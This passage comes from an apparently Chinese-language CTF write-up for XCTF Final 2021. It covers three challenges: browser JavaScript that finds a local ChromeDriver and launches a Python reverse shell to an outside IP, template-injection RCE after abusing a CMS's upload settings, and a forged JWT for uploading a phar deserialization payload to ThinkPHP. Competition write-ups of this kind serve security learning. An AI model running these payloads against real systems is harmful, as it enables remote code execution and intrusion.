class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ewindow\u003c/span\u003e.state = \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e(\u003cspan class=\"keyword\"\u003easync\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e) \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edocument\u003c/span\u003e.getElementById(\u003cspan class=\"string\"\u003e\u0026#39;result\u0026#39;\u003c/span\u003e).innerHTML = \u003cspan class=\"string\"\u003e\u0026#34;start\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ewindow\u003c/span\u003e.state = \u003cspan class=\"string\"\u003e\u0026#34;start\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003elet\u003c/span\u003e n = \u003cspan class=\"number\"\u003e42\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003elet\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(i = \u003cspan class=\"number\"\u003e45000\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e65535\u003c/span\u003e; i++){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i===\u003cspan class=\"number\"\u003e3000\u003c/span\u003e)\u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003etry\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003elet\u003c/span\u003e x = \u003cspan class=\"keyword\"\u003eawait\u003c/span\u003e fetch(\u003cspan class=\"string\"\u003e`http://localhost:\u003cspan class=\"subst\"\u003e${i}\u003c/span\u003e/sessions`\u003c/span\u003e, { \u003cspan class=\"attr\"\u003emode\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#34;no-cors\u0026#34;\u003c/span\u003e });\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edocument\u003c/span\u003e.getElementById(\u003cspan class=\"string\"\u003e\u0026#39;result\u0026#39;\u003c/span\u003e).innerHTML = \u003cspan class=\"string\"\u003e\u0026#34;middle\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ewindow\u003c/span\u003e.state = \u003cspan class=\"string\"\u003e\u0026#34;middle\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ewindow\u003c/span\u003e.state = \u003cspan class=\"string\"\u003e\u0026#34;end\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e n = i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edocument\u003c/span\u003e.getElementById(\u003cspan class=\"string\"\u003e\u0026#39;result\u0026#39;\u003c/span\u003e).innerHTML = n;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003ecatch\u003c/span\u003e (err) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"built_in\"\u003ewindow\u003c/span\u003e.state == \u003cspan class=\"string\"\u003e\u0026#34;end\u0026#34;\u003c/span\u003e) \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edocument\u003c/span\u003e.getElementById(\u003cspan class=\"string\"\u003e\u0026#39;result\u0026#39;\u003c/span\u003e).innerHTML = err;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ewindow\u003c/span\u003e.state = \u003cspan class=\"string\"\u003e\u0026#34;err\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edocument\u003c/span\u003e.getElementById(\u003cspan class=\"string\"\u003e\u0026#39;result\u0026#39;\u003c/span\u003e).innerHTML += \u003cspan class=\"string\"\u003e\u0026#34;...\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003etry\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003elet\u003c/span\u003e x = \u003cspan class=\"keyword\"\u003eawait\u003c/span\u003e fetch(\u003cspan class=\"string\"\u003e`http://localhost:\u003cspan class=\"subst\"\u003e${n}\u003c/span\u003e/session`\u003c/span\u003e, {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e method: \u003cspan class=\"string\"\u003e\u0026#39;POST\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mode: \u003cspan class=\"string\"\u003e\u0026#34;no-cors\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e body: \u003cspan class=\"built_in\"\u003eJSON\u003c/span\u003e.stringify({\u003cspan class=\"string\"\u003e\u0026#34;capabilities\u0026#34;\u003c/span\u003e:{\u003cspan class=\"string\"\u003e\u0026#34;alwaysMatch\u0026#34;\u003c/span\u003e:{\u003cspan class=\"string\"\u003e\u0026#34;goog:chromeOptions\u0026#34;\u003c/span\u003e:{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;binary\u0026#34;\u003c/span\u003e:\u003cspan class=\"string\"\u003e\u0026#34;/usr/bin/python3\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;args\u0026#34;\u003c/span\u003e: [\u003cspan class=\"string\"\u003e\u0026#34;-c__import__(\\\u0026#34;os\\\u0026#34;).system(\\\u0026#34;exec bash -i \u0026amp;\u0026gt;/dev/tcp/172.35.6.165/1234 \u0026lt;\u0026amp;1\\\u0026#34;)\u0026#34;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }}}}),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e });\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edocument\u003c/span\u003e.getElementById(\u003cspan class=\"string\"\u003e\u0026#39;result\u0026#39;\u003c/span\u003e).innerHTML += \u003cspan class=\"keyword\"\u003eawait\u003c/span\u003e x.text();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003ecatch\u003c/span\u003e (err) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edocument\u003c/span\u003e.getElementById(\u003cspan class=\"string\"\u003e\u0026#39;result\u0026#39;\u003c/span\u003e).innerHTML += \u003cspan class=\"string\"\u003e\u0026#34;error: \u0026#34;\u003c/span\u003e + err;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})();\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003csvg width=\"480px\" height=\"120px\" fill=\"#a3185b\" xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003crect fill=\"#5ce7a4\" width=\"100%\" height=\"100%\"\u003e\u003c/rect\u003e\u003cimage x=\"10\" y=\"10\" width=\"100\" height=\"100\" href=\"http://q1.qlogo.cn/g?b=qq\u0026amp;nk=745679136\" style=\"height:0\"\u003e\u003c/image\u003e\u003ctext x=\"10\" y=\"20\" id=\"result\"\u003e46233...\u003c/text\u003e\u003cimage\u003e\u0026amp;s=640\u0026#34;\u0026gt;\u003c/image\u003e\u003ctext x=\"120\" y=\"25\"\u003e晚上好,来自美国(T-Mobile)的朋友\u003c/text\u003e\u003ctext x=\"120\" y=\"45\"\u003e今天是 2021年5月29日 星期六\u003c/text\u003e\u003ctext x=\"120\" y=\"65\"\u003e您的IP是 172.35.6.165\u003c/text\u003e\u003ctext x=\"120\" y=\"85\"\u003e您使用的是 Mac OS 10.15.7 操作系统\u003c/text\u003e\u003ctext x=\"120\" y=\"105\"\u003e您使用的是 Chrome(91.0.4472.77) 浏览器\u003c/text\u003e\u003ctext x=\"10\" y=\"85\"\u003e仅供展示效果用\u003c/text\u003e\u003c/svg\u003e \u003c/div\u003e\u003c/div\u003e\u003ch2 id=\"WarmupCMS\"\u003eWarmupCMS\u003c/h2\u003e\u003cp\u003e审计代码,上手搜eval的时候发现有一个很可疑的 \u003ccode\u003efunction.math.php\u003c/code\u003e,经查阅文档,发现cms并没有自带这个函数,故猜测这个模版函数是出题人自行实现,暂定为sink点。经过刚才的一番查文档,我们也了解到这个cms有模版功能。\u003c/p\u003e\u003cp\u003e我们可以通过数据库文件中的用户md5值在线反查出密码,进入后台 \u003ccode\u003e/admincp.php\u003c/code\u003e。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e题目中的文章需要进入后台刷新缓存后才能显示\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight sql\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eINSERT\u003c/span\u003e \u003cspan class=\"keyword\"\u003eINTO\u003c/span\u003e `icms_user` (`uid`, `gid`, `pid`, `username`, `nickname`, `password`, `gender`, `fans`, `follow`, `comments`, `article`, `favorite`, `credit`, `regip`, `regdate`, `lastloginip`, `lastlogintime`, `hits`, `hits_today`, `hits_yday`, `hits_week`, `hits_month`, `setting`, `type`, `status`) \u003cspan class=\"keyword\"\u003eVALUES\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e65535\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;admin\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;iCMS\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;798709465daad71e1665888975791d7b\u0026#39;\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e127\u003c/span\u003e, \u003cspan class=\"number\"\u003e7\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;127.0.0.1\u0026#39;\u003c/span\u003e, \u003cspan class=\"number\"\u003e1488883427\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;127.0.0.1\u0026#39;\u003c/span\u003e, \u003cspan class=\"number\"\u003e1523165779\u003c/span\u003e, \u003cspan class=\"number\"\u003e303\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e8\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;{\\\u0026#34;inbox\\\u0026#34;:{\\\u0026#34;receive\\\u0026#34;:\\\u0026#34;all\\\u0026#34;}}\u0026#39;\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cimg src=\"https://blog.frankli.site/2021/05/30/Security/Writeup/XCTF-Final-2021/backend.png\" class=\"\"/\u003e\u003cp\u003e进入后台后不难发现cms作者的本意是不想让我们在网页上直接修改模版,对可以上传的文件后缀的设置也做了限制,作者还是进行了一些河里的思考的。\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2021/05/30/Security/Writeup/XCTF-Final-2021/deny.png\" class=\"\"/\u003e\u003cp\u003e可惜cms的上传目录可以相对于 \u003ccode\u003e$webroot\u003c/code\u003e 任意指定,而cms放置模版的目录正位于 \u003ccode\u003e$webroot/template\u003c/code\u003e 下。我们可以指定任意文件作为主页、文章等页面的模版(如 \u003ccode\u003ehtm\u003c/code\u003e 文件),而 \u003ccode\u003ehtm\u003c/code\u003e 处于上传后缀白名单中。也就是说我们可以将 \u003ccode\u003e上传目录\u003c/code\u003e 设置为 \u003ccode\u003etemplate\u003c/code\u003e,然后上传一份htm文件,在文件管理中获取到上传的文件名,并将其设置为主页模版,即可利用模版进行RCE。\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2021/05/30/Security/Writeup/XCTF-Final-2021/specify_template.png\" class=\"\"/\u003e\u003cimg src=\"https://blog.frankli.site/2021/05/30/Security/Writeup/XCTF-Final-2021/modify_settings.png\" class=\"\"/\u003e\u003cimg src=\"https://blog.frankli.site/2021/05/30/Security/Writeup/XCTF-Final-2021/filename.png\" class=\"\"/\u003e\u003cp\u003e回到math。虽然函数实现中对危险函数进行了限制,但我随手构造的 \u003ccode\u003e\u0026lt;!--{math equation=(system(\u0026#34;/readflag\u0026#34;))}--\u0026gt;\u003c/code\u003e 恰巧突破了这一限制(带括号)(又貌似是缓存有助攻)。由于是比赛,时间紧迫,便没有深究。\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2021/05/30/Security/Writeup/XCTF-Final-2021/warmup_flag.png\" class=\"\"/\u003e\u003ch2 id=\"easy-cms\"\u003eeasy_cms\u003c/h2\u003e\u003cp\u003e由于题目并没有正确配置php服务器,我们需要通过手动指定controller来访问所有页面。\u003c/p\u003e\u003cp\u003ethinkphp,那我们先来看看有什么controller呗。\u003c/p\u003e\u003cp\u003eadmin下的controller由于需要登录:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(!captcha_check(\u003cspan class=\"variable\"\u003e$data\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#39;verify\u0026#39;\u003c/span\u003e])){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e ValidateException(\u003cspan class=\"string\"\u003e\u0026#39;验证码错误\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;checkLogin(\u003cspan class=\"variable\"\u003e$data\u003c/span\u003e)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;success(\u003cspan class=\"string\"\u003e\u0026#39;登录成功\u0026#39;\u003c/span\u003e, url(\u003cspan class=\"string\"\u003e\u0026#39;admin/Index/index\u0026#39;\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e而服务端并没有安装图片相关拓展:\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2021/05/30/Security/Writeup/XCTF-Final-2021/not_installed.png\" class=\"\"/\u003e\u003cp\u003e所以登陆admin这条路基本是堵死了,也没必要继续看admin controller(当然不排除有些未认证的controller,只是这题确实没有)\u003c/p\u003e\u003cp\u003e在api 的 \u003ccode\u003eBase\u003c/code\u003e controller中我们发现有很明显的上传文件的方法,也有读取文件的方法,非常显然是让我们用phar反序列化来加载tp6的链。所以问题就在于如何登陆。我们回头看一眼路由,发现 \u003ccode\u003eBase\u003c/code\u003e controller被套了一个 \u003ccode\u003eJwtAuth\u003c/code\u003e 中间件。这一中间件取 \u003ccode\u003eAuthorization\u003c/code\u003e 请求头的值作为jwt进行验证,认证通过则取token中的uid写入当前session。\u003ccode\u003eJwtAuth\u003c/code\u003e 调用了 \u003ccode\u003eJwt\u003c/code\u003e 类,而生成 \u003ccode\u003eJwt\u003c/code\u003e 的 api controller \u003ccode\u003eCommon\u003c/code\u003e 中配置了jwt的参数:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// route.php\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eRoute::rule(\u003cspan class=\"string\"\u003e\u0026#39;Base/Upload\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;Base/Upload\u0026#39;\u003c/span\u003e)-\u0026gt;middleware([\u003cspan class=\"string\"\u003e\u0026#39;JwtAuth\u0026#39;\u003c/span\u003e]); \u003cspan class=\"comment\"\u003e//图片上传;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// Common controller\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$jwt\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -\u0026gt;setIss(config(\u003cspan class=\"string\"\u003e\u0026#39;my.jwt_iss\u0026#39;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -\u0026gt;setAud(config(\u003cspan class=\"string\"\u003e\u0026#39;my.jwt_aud\u0026#39;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -\u0026gt;setSecrect(config(\u003cspan class=\"string\"\u003e\u0026#39;my.jwt_secrect\u0026#39;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -\u0026gt;setExpTime(config(\u003cspan class=\"string\"\u003e\u0026#39;my.jwt_expire_time\u0026#39;\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// config/my.php\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//jwt鉴权配置\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#39;jwt_expire_time\u0026#39;\u003c/span\u003e =\u0026gt; \u003cspan class=\"number\"\u003e7200\u003c/span\u003e, \u003cspan class=\"comment\"\u003e//token过期时间 默认2小时\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#39;jwt_secrect\u0026#39;\u003c/span\u003e =\u0026gt; \u003cspan class=\"string\"\u003e\u0026#39;boTCfOGKwqTNKArT\u0026#39;\u003c/span\u003e, \u003cspan class=\"comment\"\u003e//签名秘钥\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#39;jwt_iss\u0026#39;\u003c/span\u003e =\u0026gt; \u003cspan class=\"string\"\u003e\u0026#39;client.xhadmin\u0026#39;\u003c/span\u003e, \u003cspan class=\"comment\"\u003e//发送端\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#39;jwt_aud\u0026#39;\u003c/span\u003e =\u0026gt; \u003cspan class=\"string\"\u003e\u0026#39;server.xhadmin\u0026#39;\u003c/span\u003e, \u003cspan class=\"comment\"\u003e//接收端\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e从配置文件中拿到jwt secret,仔细过一遍认证函数,把必要的属性都给加上,再把过期时间 (\u003ccode\u003eexp\u003c/code\u003e) 调的久一些,一个jwt就伪造好了\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2021/05/30/Security/Writeup/XCTF-Final-2021/fake_token.png\" class=\"\" title=\"四千年后过期的token\"/\u003e\u003cp\u003e带着这个token,我们就能上传文件了:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ehost = \u003cspan class=\"string\"\u003e\u0026#39;http://172.35.6.101:31337\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003einfo = ses.post(host+\u003cspan class=\"string\"\u003e\u0026#39;/?s=api/Base/upload\u0026#39;\u003c/span\u003e, headers={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;Authorization\u0026#39;\u003c/span\u003e: \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;eyJzdWIiOiIxMjM0NTY3ODkwIiwidWlkIjoxL\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;CJpc3MiOiJjbGllbnQueGhhZG1pbiIsImF1ZC\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;I6InNlcnZlci54aGFkbWluIiwiZXhwIjoxNTE\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;2MjM5MDIyMDAsImlhdCI6MTUxNjIzOTAyMn0.\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;vbtgheHpxnrT9W4VX1ybguJ15cwYO2pbVNCvrE7FqfU\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}, files={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;file\u0026#39;\u003c/span\u003e: (\u003cspan class=\"string\"\u003e\u0026#39;a.gif\u0026#39;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003eopen\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;phar.gif\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;rb\u0026#39;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}).json()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(info)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan 